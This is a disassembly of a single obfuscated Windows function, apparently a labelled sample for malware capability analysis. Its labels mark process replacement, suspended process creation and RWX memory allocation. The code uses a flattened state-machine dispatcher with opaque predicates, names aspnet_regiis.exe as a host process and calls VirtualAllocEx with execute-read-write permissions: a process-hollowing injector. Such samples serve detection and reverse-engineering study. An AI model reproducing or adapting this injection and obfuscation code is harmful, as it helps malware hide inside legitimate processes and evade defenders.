Function at 0x10006380
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x104
mov eax, dword [0x1006b200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x10c], 0x825e7238
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x110], eax
sub eax, 0x80e18dae
je 0x1000d81c
jmp 0x100063bc
mov eax, dword [ebp - 0x110]
sub eax, 0x825e7238
je 0x10008939
jmp 0x100063d2
mov eax, dword [ebp - 0x110]
sub eax, 0x8277a721
je 0x1000cded
jmp 0x100063e8
mov eax, dword [ebp - 0x110]
sub eax, 0x82b7393e
je 0x1000b962
jmp 0x100063fe
mov eax, dword [ebp - 0x110]
sub eax, 0x8302f80f
je 0x1000cc76
jmp 0x10006414
mov eax, dword [ebp - 0x110]
sub eax, 0x83559cf8
je 0x1000d633
jmp 0x1000642a
mov eax, dword [ebp - 0x110]
sub eax, 0x83755c9d
je 0x1000b30b
jmp 0x10006440
mov eax, dword [ebp - 0x110]
sub eax, 0x83ac6aba
je 0x1000b6c6
jmp 0x10006456
mov eax, dword [ebp - 0x110]
sub eax, 0x83bb87a9
je 0x100098b6
jmp 0x1000646c
mov eax, dword [ebp - 0x110]
sub eax, 0x84b93a5a
je 0x1000d624
jmp 0x10006482
mov eax, dword [ebp - 0x110]
sub eax, 0x84ec5efa
je 0x1000c5d1
jmp 0x10006498
mov eax, dword [ebp - 0x110]
sub eax, 0x8581c253
je 0x1000c207
jmp 0x100064ae
mov eax, dword [ebp - 0x110]
sub eax, 0x85a3f49d
je 0x10009dc1
jmp 0x100064c4
mov eax, dword [ebp - 0x110]
sub eax, 0x8638b019
je 0x1000941c
jmp 0x100064da
mov eax, dword [ebp - 0x110]
sub eax, 0x865fc649
je 0x10009c6b
jmp 0x100064f0
mov eax, dword [ebp - 0x110]
sub eax, 0x874696ce
je 0x1000d863
jmp 0x10006506
mov eax, dword [ebp - 0x110]
sub eax, 0x87a648df
je 0x10009168
jmp 0x1000651c
mov eax, dword [ebp - 0x110]
sub eax, 0x87ced1a4
je 0x10009cf0
jmp 0x10006532
mov eax, dword [ebp - 0x110]
sub eax, 0x8886c078
je 0x10009a99
jmp 0x10006548
mov eax, dword [ebp - 0x110]
sub eax, 0x88990c27
je 0x1000e228
jmp 0x1000655e
mov eax, dword [ebp - 0x110]
sub eax, 0x88ce7c82
je 0x1000b06f
jmp 0x10006574
mov eax, dword [ebp - 0x110]
sub eax, 0x896cfb60
je 0x1000b425
jmp 0x1000658a
mov eax, dword [ebp - 0x110]
sub eax, 0x8a7be313
je 0x1000e30f
jmp 0x100065a0
mov eax, dword [ebp - 0x110]
sub eax, 0x8c674ac4
je 0x100098a7
jmp 0x100065b6
mov eax, dword [ebp - 0x110]
sub eax, 0x8d60b21c
je 0x1000e2d2
jmp 0x100065cc
mov eax, dword [ebp - 0x110]
sub eax, 0x8f628ad8
je 0x1000a7d6
jmp 0x100065e2
mov eax, dword [ebp - 0x110]
sub eax, 0x9051fa94
je 0x1000bbb3
jmp 0x100065f8
mov eax, dword [ebp - 0x110]
sub eax, 0x90e501ac
je 0x1000b669
jmp 0x1000660e
mov eax, dword [ebp - 0x110]
sub eax, 0x92c9c1ee
je 0x1000dee5
jmp 0x10006624
mov eax, dword [ebp - 0x110]
sub eax, 0x93036370
je 0x1000a339
jmp 0x1000663a
mov eax, dword [ebp - 0x110]
sub eax, 0x93175092
je 0x10009f85
jmp 0x10006650
mov eax, dword [ebp - 0x110]
sub eax, 0x9352f491
je 0x1000dd95
jmp 0x10006666
mov eax, dword [ebp - 0x110]
sub eax, 0x936696ae
je 0x10009d85
jmp 0x1000667c
mov eax, dword [ebp - 0x110]
sub eax, 0x93d46e0d
je 0x1000c4b7
jmp 0x10006692
mov eax, dword [ebp - 0x110]
sub eax, 0x9441082c
je 0x10009926
jmp 0x100066a8
mov eax, dword [ebp - 0x110]
sub eax, 0x95660652
je 0x10008c36
jmp 0x100066be
mov eax, dword [ebp - 0x110]
sub eax, 0x95ba013e
je 0x10009087
jmp 0x100066d4
mov eax, dword [ebp - 0x110]
sub eax, 0x95d59164
je 0x1000cb44
jmp 0x100066ea
mov eax, dword [ebp - 0x110]
sub eax, 0x9608f5f2
je 0x1000c9c9
jmp 0x10006700
mov eax, dword [ebp - 0x110]
sub eax, 0x96e52b69
je 0x1000dbc5
jmp 0x10006716
mov eax, dword [ebp - 0x110]
sub eax, 0x97a71322
je 0x1000a5d0
jmp 0x1000672c
mov eax, dword [ebp - 0x110]
sub eax, 0x993247d3
je 0x1000b902
jmp 0x10006742
mov eax, dword [ebp - 0x110]
sub eax, 0x99756d9c
je 0x100096c4
jmp 0x10006758
mov eax, dword [ebp - 0x110]
sub eax, 0x9b83c533
je 0x1000e4a1
jmp 0x1000676e
mov eax, dword [ebp - 0x110]
sub eax, 0x9bb79736
je 0x1000e6c0
jmp 0x10006784
mov eax, dword [ebp - 0x110]
sub eax, 0x9be47a74
je 0x1000972c
jmp 0x1000679a
mov eax, dword [ebp - 0x110]
sub eax, 0x9c33bc81
je 0x1000c6a2
jmp 0x100067b0
mov eax, dword [ebp - 0x110]
sub eax, 0x9d931f4f
je 0x1000e928
jmp 0x100067c6
mov eax, dword [ebp - 0x110]
sub eax, 0x9e6eb466
je 0x1000c09c
jmp 0x100067dc
mov eax, dword [ebp - 0x110]
sub eax, 0x9e7fad0a
je 0x1000bec0
jmp 0x100067f2
mov eax, dword [ebp - 0x110]
sub eax, 0x9ef1f3a6
je 0x1000bff6
jmp 0x10006808
mov eax, dword [ebp - 0x110]
sub eax, 0x9fd4b2a9
je 0x1000a112
jmp 0x1000681e
mov eax, dword [ebp - 0x110]
sub eax, 0x9ff5cae0
je 0x1000b9d2
jmp 0x10006834
mov eax, dword [ebp - 0x110]
sub eax, 0x9ffca711
je 0x1000e300
jmp 0x1000684a
mov eax, dword [ebp - 0x110]
sub eax, 0xa0eade7f
je 0x1000934a
jmp 0x10006860
mov eax, dword [ebp - 0x110]
sub eax, 0xa22e607d
je 0x1000a856
jmp 0x10006876
mov eax, dword [ebp - 0x110]
sub eax, 0xa232be5b
je 0x1000e33d
jmp 0x1000688c
mov eax, dword [ebp - 0x110]
sub eax, 0xa2e8dc3d
je 0x100092bb
jmp 0x100068a2
mov eax, dword [ebp - 0x110]
sub eax, 0xa2f92d96
je 0x1000cd87
jmp 0x100068b8
mov eax, dword [ebp - 0x110]
sub eax, 0xa3789e30
je 0x1000b688
jmp 0x100068ce
mov eax, dword [ebp - 0x110]
sub eax, 0xa4e51b22
je 0x10008e37
jmp 0x100068e4
mov eax, dword [ebp - 0x110]
sub eax, 0xa51a1b43
je 0x1000948d
jmp 0x100068fa
mov eax, dword [ebp - 0x110]
sub eax, 0xa527df9e
je 0x1000d490
jmp 0x10006910
mov eax, dword [ebp - 0x110]
sub eax, 0xa578a794
je 0x1000b85d
jmp 0x10006926
mov eax, dword [ebp - 0x110]
sub eax, 0xa5829325
je 0x1000e56a
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x506b3047
mov ecx, 0x6542bb3c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000ea9e
mov dl, 1
mov eax, 0xe512068b
mov ecx, 0xf6b0b311
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000ea9e
mov dword [ebp - 0x10c], 0xcbb39558
jmp 0x1000ea9e
movss xmm0, dword [0x1001c23c]
movss dword [ebp - 0xe8], xmm0
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
mov edx, ecx
add edx, 0xeae9d8c9
sub edx, 1
sub edx, 0xeae9d8c9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x74aaa0c
mov ecx, 0xfa52f716
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000ea9e
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x299c92c1
mov ecx, 0x6405ee87
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000ea9e
movss xmm0, dword [0x1001c238]
movss dword [ebp - 0xe8], xmm0
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
mov edx, eax
sub edx, 0x3525164
sub edx, 1
add edx, 0x3525164
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdb707d86
mov ecx, 0x13da8a29
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000ea9e
movss xmm0, dword [0x1001c384]
movss dword [ebp - 0xec], xmm0
movss xmm0, dword [0x1001c380]
movss dword [ebp - 0xec], xmm0
mov dword [ebp - 0x10c], 0x2beefed2
jmp 0x1000ea9e
movss xmm0, dword [0x1001c234]
movss dword [ebp - 0xec], xmm0
movss xmm0, dword [0x1001c230]
movss dword [ebp - 0xec], xmm0
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
mov edx, eax
sub edx, 0xb98930be
sub edx, 1
add edx, 0xb98930be
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc7b2a851
mov ecx, 0xa51a1b43
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000ea9e
mov dword [ebp - 0x10c], 0x6ac2c68b
jmp 0x1000ea9e
movss xmm0, dword [0x1001c364]
movss dword [ebp - 0xec], xmm0
mov dword [ebp - 0x10c], 0xa9526597
jmp 0x1000ea9e
movss xmm0, dword [0x1001c22c]
movss dword [ebp - 0xec], xmm0
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
mov edx, ecx
sub edx, 0x7376ba21
sub edx, 1
add edx, 0x7376ba21
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3fbfd72e
mov ecx, 0x11ff83c0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000ea9e
mov dword [ebp - 0x10c], 0x83bb87a9
jmp 0x1000ea9e
movss xmm0, dword [0x1001c358]
movss dword [ebp - 0xec], xmm0
mov dword [ebp - 0x10c], 0x1d7c6fb0
jmp 0x1000ea9e
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
mov edx, eax
sub edx, 0xc7b8d026
sub edx, 1
add edx, 0xc7b8d026
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8a7be313
mov ecx, 0x437dca85
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000ea9e
movss xmm0, dword [0x1001c350]
movss dword [ebp - 0xf0], xmm0
movss xmm0, dword [0x1001c34c]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0x10c], 0x751d3e3
jmp 0x1000ea9e
mov dword [ebp - 0x10c], 0xfdaacf7
jmp 0x1000ea9e
movss xmm0, dword [0x1001c220]
movss dword [ebp - 0xf0], xmm0
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
mov edx, ecx
sub edx, 0xbe30a7f1
sub edx, 1
add edx, 0xbe30a7f1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb1730e48
mov ecx, 0xef93cd6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000ea9e
movss xmm0, dword [0x1001c338]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0x10c], 0x1a79e50
jmp 0x1000ea9e
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
mov edx, ecx
add edx, 0x81ed1f5a
sub edx, 1
sub edx, 0x81ed1f5a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1fb45ab5
mov ecx, 0x56d5d867
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000ea9e
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2bc932e4
mov ecx, 0x222e4e9b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000ea9e
movss xmm0, dword [0x1001c334]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0x10c], 0x61a69570
jmp 0x1000ea9e
mov dword [ebp - 0x10c], 0xee406ad5
jmp 0x1000ea9e
movss xmm0, dword [0x1001c304]
movss dword [ebp - 0xf4], xmm0
mov dword [ebp - 0x10c], 0x650f9c47
jmp 0x1000ea9e
movss xmm0, dword [0x1001c204]
movss dword [ebp - 0xf8], xmm0
movss xmm0, dword [0x1001c200]
movss dword [ebp - 0xf8], xmm0
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
mov edx, eax
add edx, 0xfc741935
sub edx, 1
sub edx, 0xfc741935
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x150cfa18
mov ecx, 0x4bca934
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000ea9e
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
mov edx, eax
add edx, 0x301ee3c0
sub edx, 1
sub edx, 0x301ee3c0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1ee777b4
mov ecx, 0xb082ec06
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000ea9e
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb56c4ab5
mov ecx, 0x4aa64317
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000ea9e
mov dword [ebp - 0x10c], 0xb8148230
jmp 0x1000ea9e
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
mov edx, ecx
add edx, 0xcadcb123
sub edx, 1
sub edx, 0xcadcb123
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3857205c
mov ecx, 0x151d8ab0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000ea9e
movss xmm0, dword [0x1001c2a0]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x10c], 0xa3789e30
jmp 0x1000ea9e
movss xmm0, dword [0x1001c29c]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x10c], 0x334611b4
jmp 0x1000ea9e
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd768d189
mov ecx, 0xe52cd264
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000ea9e
movss xmm0, dword [0x1001c1c4]
movss dword [ebp - 0x100], xmm0
movss xmm0, dword [0x1001c1c0]
movss dword [ebp - 0x100], xmm0
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
mov edx, ecx
add edx, 0xe4f4c9bd
sub edx, 1
sub edx, 0xe4f4c9bd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd85715e0
mov ecx, 0x45a2c5c5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000ea9e
mov dword [ebp - 0x10c], 0xd08e66e9
jmp 0x1000ea9e
movss xmm0, dword [0x1001c1bc]
movss dword [ebp - 0x100], xmm0
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
mov edx, eax
sub edx, 0x8fcc2a57
sub edx, 1
add edx, 0x8fcc2a57
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7a4905f3
mov ecx, 0x3d5589a3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000ea9e
mov dl, 1
mov eax, 0x9051fa94
mov ecx, 0xc47dba3e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000ea9e
movss xmm0, dword [0x1001c294]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x10c], 0xb8dbb9c
jmp 0x1000ea9e
mov dword [ebp - 0x10c], 0x7df8280f
jmp 0x1000ea9e
movss xmm0, dword [0x1001c1a8]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x1001c1a4]
movss dword [ebp - 0x104], xmm0
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfb40a2ab
mov ecx, 0x3aaf8a26
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000ea9e
mov dl, 1
mov eax, 0xaf178eed
mov ecx, 0xa67337
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000ea9e
movss xmm0, dword [0x1001c19c]
movss dword [ebp - 0x104], xmm0
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x44041a73
mov ecx, 0x53fd9058
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000ea9e
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
mov edx, ecx
add edx, 0xf25c4c10
sub edx, 1
sub edx, 0xf25c4c10
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe2ae7ae
mov ecx, 0xced980a0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000ea9e
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
mov edx, ecx
sub edx, 0xd5489e31
sub edx, 1
add edx, 0xd5489e31
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6762ba83
mov ecx, 0xda0cf22e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000ea9e
movss xmm0, dword [0x1001c258]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x10c], 0x3f4c72a1
jmp 0x1000ea9e
mov eax, dword [ebp - 0xd8]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.1000fda0
add esp, 0xc
mov eax, dword [ebp - 0xd4]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.1000fda0
add esp, 0xc
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0x85], al
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
mov edx, eax
sub edx, 0x286d3bb0
sub edx, 1
add edx, 0x286d3bb0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x21257a38
mov ecx, 0x572c6589
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000ea9e
mov eax, dword [ebp - 0xcc]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xde940a12
mov ecx, 0x8ead87e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000ea9e
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x22ad1847
mov ecx, 0x448dd741
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000ea9e
mov dword [ebp - 0x10c], 0x791a3c9c
jmp 0x1000ea9e
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
mov edx, ecx
add edx, 0x6d2bc265
sub edx, 1
sub edx, 0x6d2bc265
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6e9a379b
mov ecx, 0x330d8c0d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000ea9e
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xac]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0xc]
add eax, 0xe221388e
sub eax, ecx
sub eax, 0xe221388e
mov ecx, dword [ebp - 0x48]
add ecx, eax
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov dword [ebp - 0x10c], 0xe72e201b
jmp 0x1000ea9e
mov dword [ebp - 0x10c], 0x83559cf8
jmp 0x1000ea9e
mov eax, dword [ebp - 0x38]
mov esi, dword [eax]
mov edx, dword [ebp - 0x3c]
mov eax, 0x2e6cd60
mov ecx, 0xbd0241d1
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000ea9e
mov edx, dword [ebp - 0x2c]
mov esi, dword [ebp - 0x28]
mov eax, 0x4470cb37
mov ecx, 0x1e1834c3
cmp edx, esi
cmovb eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000ea9e
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
mov edx, eax
sub edx, 0x64296fa0
sub edx, 1
add edx, 0x64296fa0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe290ccdb
mov ecx, 0xd0f4004c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000ea9e
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
mov edx, eax
add edx, 0xfcde217e
sub edx, 1
sub edx, 0xfcde217e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4e473e85
mov ecx, 0x1a858ad5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000ea9e
mov dword [ebp - 0x10c], 0x2e6cd60
jmp 0x1000ea9e
mov dword [ebp - 0x10c], 0x438b1b2f
jmp 0x1000ea9e
movss xmm0, dword [0x1001c240]
movss dword [ebp - 0xe8], xmm0
mov dword [ebp - 0x10c], 0xc19dec66
jmp 0x1000ea9e
mov dword [ebp - 0x10c], 0xb7cb1b96
jmp 0x1000ea9e
mov dword [ebp - 0x10c], 0xfd076983
jmp 0x1000ea9e
mov dword [ebp - 0x10c], 0x9441082c
jmp 0x1000ea9e
movss xmm0, dword [0x1001c224]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0x10c], 0xad62c261
jmp 0x1000ea9e
movss xmm0, dword [0x1001c1f8]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x10c], 0xfd74f8f7
jmp 0x1000ea9e
mov dword [ebp - 0x10c], 0xd046ce2a
jmp 0x1000ea9e
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax + 0x1c]
mov eax, dword [ebp - 0xd8]
mov edx, dword [eax]
mov eax, dword [ebp - 0x7c]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0x10c], 0x50212b1e
jmp 0x1000ea9e
jmp 0x100063a0